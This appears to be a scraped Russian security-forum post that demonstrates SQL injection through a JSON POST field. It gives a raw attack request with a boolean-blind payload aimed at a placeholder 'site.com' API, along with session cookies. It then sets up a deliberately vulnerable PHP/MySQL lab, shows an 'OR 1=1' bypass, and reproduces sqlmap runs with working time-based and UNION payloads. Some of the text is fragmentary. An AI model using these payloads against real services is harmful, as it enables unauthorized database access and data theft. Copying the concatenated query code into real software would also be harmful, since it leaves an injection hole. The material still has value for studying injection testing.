ANTICHAT — форум по информационной безопасности, OSINT и технологиям

https://www.illingen.de/corona'

POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}

sqlmap -u 'http://site.com/api/R/countTabs' -H 'Content-Type: application/json;charset=UTF-8' --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --prefix=0

CREATE DATABASE testdb;
CREATE USER IF NOT EXISTS 'testuser'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON testdb.* TO 'testuser'@'localhost';
FLUSH PRIVILEGES;
CREATE TABLE users(id INT AUTO_INCREMENT PRIMARY KEY, firstname VARCHAR(255) NOT NULL, lastname VARCHAR(255) NOT NULL, active BOOLEAN NOT NULL DEFAULT FALSE);
INSERT INTO users(firstname,lastname,active) VALUES('Ivan','Test',0);
INSERT INTO users(firstname,lastname,active) VALUES('John','Doe',0);
INSERT INTO users(firstname,lastname,active) VALUES('Test','Admin',1);

connect_error) {
          die("Connection failed: " . $conn->connect_error);
    }
    echo "Connected successfully";
}catch(mysqli_sql_exception $e){
    throw $e;
}

# Deprecated since PHP5.6 and removed since PHP7
# https://www.php.net/manual/pt_BR/reserved.variables.httprawpostdata.php
#var_dump($HTTP_RAW_POST_DATA);

$inputJSON = file_get_contents('php://input');
var_dump($inputJSON);

$jsonOBJ = json_decode($inputJSON);

var_dump($jsonOBJ);

$invisible_var = $jsonOBJ->{"where"}->{"invisible"};

var_dump($invisible_var);

$sql = 'SELECT id,firstname,lastname FROM users WHERE active=' . $invisible_var;
printf("SQL query: ".$sql);
$conn->real_query($sql);
if ($result = $conn->use_result()) {
  foreach ($result as $row) {
    echo "\nid = " . $row['id'] . " firstname = " . $row['firstname'] . " lastname = " .$row['lastname'];
    }
    /* free result set */
  $result->close();
}

$conn->close();
?>

php -S localhost:1234

curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://localhost:1234/json_server.php
--------------------------------
Connected successfullystring(63) "{"where":{"chart":{"not":"[]"},"invisible":"0"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(1) "0"
  }
  ["tab"]=>
  string(6) "growth"
}
string(1) "0"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe

curl -X POST -d '{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}' -H 'Content-Type: application/json;charset=UTF-8' http://testserver:1234/json_server.php
------------------------------------
Connected successfullystring(70) "{"where":{"chart":{"not":"[]"},"invisible":"0 OR 1=1"},"tab":"growth"}"
object(stdClass)#4 (2) {
  ["where"]=>
  object(stdClass)#3 (2) {
    ["chart"]=>
    object(stdClass)#2 (1) {
      ["not"]=>
      string(2) "[]"
    }
    ["invisible"]=>
    string(8) "0 OR 1=1"
  }
  ["tab"]=>
  string(6) "growth"
}
string(8) "0 OR 1=1"
SQL query: SELECT id,firstname,lastname FROM users WHERE active=0 OR 1=1
id = 1 firstname = Ivan lastname = Test
id = 2 firstname = John lastname = Doe
id = 3 firstname = Test lastname = Admin

sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:40:18] [INFO] flushing session file
[18:40:18] [INFO] testing connection to the target URL
[18:40:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:40:18] [INFO] testing if the target URL content is stable
[18:40:18] [INFO] target URL content is stable
[18:40:18] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:40:18] [WARNING] (custom) POST parameter 'JSON #1*' does not appear to be dynamic
[18:40:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:40:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:40:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:40:19] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:40:19] [INFO] testing 'Generic inline queries'
[18:40:19] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:40:19] [WARNING] time-based comparison requires larger statistical model, please wait............... (done)                                                                                                                         
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[18:40:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:40:20] [WARNING] (custom) POST parameter 'JSON #1*' does not seem to be injectable
[18:40:20] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

sqlmap -u 'http://testserver:1234/json_server.php' --dbms=mysql --data='{"where":{"chart":{"not":"[]"},"invisible":"*"},"tab":"growth"}' --proxy='/' --flush-session --prefix=0
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[18:43:08] [INFO] flushing session file
[18:43:08] [INFO] testing connection to the target URL
[18:43:08] [INFO] checking if the target is protected by some kind of WAF/IPS
[18:43:08] [INFO] testing if the target URL content is stable
[18:43:09] [INFO] target URL content is stable
[18:43:09] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
[18:43:09] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
[18:43:09] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
[18:43:09] [INFO] heuristic (XSS) test shows that (custom) POST parameter 'JSON #1*' might be vulnerable to cross-site scripting (XSS) attacks
[18:43:09] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
[18:43:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:43:09] [WARNING] reflective value(s) found and filtering out
[18:43:09] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[18:43:09] [INFO] testing 'Generic inline queries'
[18:43:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[18:43:09] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[18:43:09] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)               
[18:43:19] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[18:43:25] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:43:25] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:43:25] [INFO] target URL appears to be UNION injectable with 3 columns
[18:43:25] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Y
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 AND (SELECT 8656 FROM (SELECT(SLEEP(5)))iyJH)"},"tab":"growth"}

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: {"where":{"chart":{"not":"[]"},"invisible":"0 UNION ALL SELECT CONCAT(0x7170786b71,0x697a4b487962727759494a414871686b654176576663644e4b55574770616b786a66626f617a6d47,0x716b707871),NULL,NULL-- -"},"tab":"growth"}
---
[18:43:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.4.15
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

POST site.com/api/R/countTabs HTTP/1.1
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://site.com/
Cookie: sails.sid=s%3AIEeBmBWMv6pkUjHoX13K94m6bsxyZETu.mAjwObh334BpSZtHzJN1nY4HBjL%2Fiyt3uvwTjN6K5pQ;rtl=0;noAuthLanguage=%7B%22languageId%22%3A2%2C%22languageName%22%3A%22ru%22%7D;44cc0ec1aaa79f8d1d2757739ec41b84=1;favorites=j%3A%5B%2216880%22%5D;csrftoken=uq60dSDyNfzDlNREVBpktbbTqAxQDhPrfH3WQqvmfCw8ZgcqVZkYF91wKftnxCcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Host:site.com
Connection: Keep-alive

{"where":{"chart":{"not":"[]"},"invisible":"0 RLIKE (SELECT (CASE WHEN (1+1-2+000194=2+2-4+000194) THEN 1 ELSE 0x28 END)) -- "},"tab":"growth"}